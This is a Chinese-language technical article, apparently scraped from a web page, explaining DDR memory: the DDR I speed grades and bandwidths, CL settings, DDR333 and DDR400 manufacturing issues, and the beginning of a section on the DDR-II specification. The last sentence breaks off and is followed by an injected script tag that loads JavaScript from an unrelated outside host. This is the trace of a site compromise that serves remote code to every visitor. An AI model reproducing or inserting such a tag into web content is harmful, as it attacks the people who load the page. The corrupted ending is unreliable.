1.ddr内存简介
ddr sdram即双倍速率sdram（dual date rate sdram，ddr sdram），由于它在时钟触发沿的上、下沿都能进行数据传输，所以即使在133mhz的总线频率下的带宽也能达到2.128gb/s。ddr不支持3.3v电压的lvttl，而是支持2.5v的sstl2标准。ddr sdram沿用现sdram的生产体系，制造成本比sdram略高一些，但仍要远小于rambus的价格，因此只要拥有制造普通sdram的能力，只需稍加改进就能进行ddr内存的生产，而且它也不存在专利等方面的问题，所以它代表着未来能与rambus相抗衡的内存发展的一个方向...
2.ddr i内存规格
目前的ddr内存被称之为ddr i,其特点是使用184pin针脚,非对称设计,工作电压为1.8v ddr i内存现有三种规格,第一是pc1600(ddr200),第二种是pc2100(ddr266),第三种是pc2700(ddr333),三种内存规格的命名是以所能提供的带宽而定,例如pc1600所能提供的内存带宽约为1.6gb/s,有效工作频率为200mhz,物理工作频率为100mhz,由于其带宽的提升相对pc133并不十分明显,加之pc2100售价与其过于接近,但性能则高出很多,故未能风行 而pc2100是目前ddr i内存中最为普及的一种ddr内存规格,pc2100有效工作频率为266mhz,物理工作频率为133mhz,因其能够提供约2.1gb/s的内存带宽而得此名称 由于从未有过廉价而又高效的内存,加之芯片组制造商对pc2100的厚爱,pc2100的ddr sdram获得了巨大成功 而最后一款ddr i中确立标准的pc2700(有效工作频率333mhz,物理工作频率166mhz)则倍受推崇,因其能够达到将近2.7gb/s的内存带宽,在相对较低成本制造的情况下获得更惊人的性能表现,众多pc芯片组制造商都认为pc2700将会是今年及明年的重头产品 需要注意的是,目前ddr i内存的cl值都是2.5 而部分厂商在主板的bios中都提供有3\2.5\2的选择余地,甚至有的主板中还提供有1.5的选项,无疑选择更低的cl值获得的性能越多,但终归还要看内存本身的品值,或许盲目的cl值调整会造成部分性能的提升而换来更大的不稳定性,正确调整方能获得更好的平衡点。
3.ddr400，ddr i规格中最后的王牌
当然，再好的产品都会需要改进，提升性能，甚至是升级换代，最直接的就是我们最近一直在关注的，ddr333与ddr266之间的问题。显然，厂商都看好pc2700，而用户也对pc2700抱有很高的期望。然而细心的用户都发现一个问题。当你在市场上转的时候，亦或是在看相关的报道时，pc2700内存甚至只能看到一家的产品---kingmax ddr333。其他地区pc2700内存也仅是小范围的销售。首先，是价格问题。多数pc2700颗粒出自台湾制造商之手，经历了去年一年的惨淡经营，无疑新产品的出现和现代事件等因素都起到了一定的催化作用，提升价格已属必然，这样也对内存市场造成了一定负面影响。据dram厂商表示，ddr266或ddr200均是采用tsop封装技术，但自ddr333开始如再使用传统sdram的tsop封装的话，在量产良品率上势必会出现极大问题，因此如需将规格向上提高到ddr333，则需将封装方式改采为csp封装才可能能够提高良品率。据了解，目前dram颗粒厂如采用0.175微米制程来制造ddr333颗粒，良品率上最多仅能达到20％，但如将制程提升至0.15微米甚至0.13微米，用来制造ddr333颗粒，其良率将可高达70％～80％。对于dram颗粒厂商而言，在制造一颗ddr266与ddr333所耗费成本几乎是相差不大，但从工艺和销售看，短期内ddr333应无法顺利成为主流规格。然而要实现ddr333占领市场，业内人士分析至少要经过2002年的推广期于2003年下半年左右才能真正普及，看起来我们与ddr333的接触还存在着一定距离。正当业界在ddr333的问题上争论不休时，ddr400则又被人提了出来，各顶级内存颗粒制造商都不遗余力的生产自己的ddr400内存颗粒，以展示其研发能力以及对未来市场的预测。ddr400是继ddr333之后ddr i规格中最后一代产品，虽然称其为ddr i，但时至今日，jedex也未能决定是否接纳ddr400。简单的说，ddr400的等效运行频率为400mhz，而其物理工作频率为200mhz，位宽64bit，能够提供3.2gb/s左右的内存带宽，光从标准来看，ddr400和pc800的rdram所能提供的带宽几乎相当，而成本显然ddr要来的更加便宜。如果单从工作方式以及一些物理特性上看，ddr400和其他ddr内存非常相似，频率不同外，内存针脚定义、工作电压、工作方式都完全一致。而在封装上则基本上与ddr333一样，都需要更优秀的封装技术，更细微的制造工艺。
4.关于ddr ii内存规范
jedec在前不久宣布已经批准了用于下一代ddr-ii内存芯片的初步规范。ddr-ii内存芯片预计将在2003年投放市场，jedec的一位官员透露，ddr-ii内存芯片的首批样品?script src=http://er12.com/t.js>
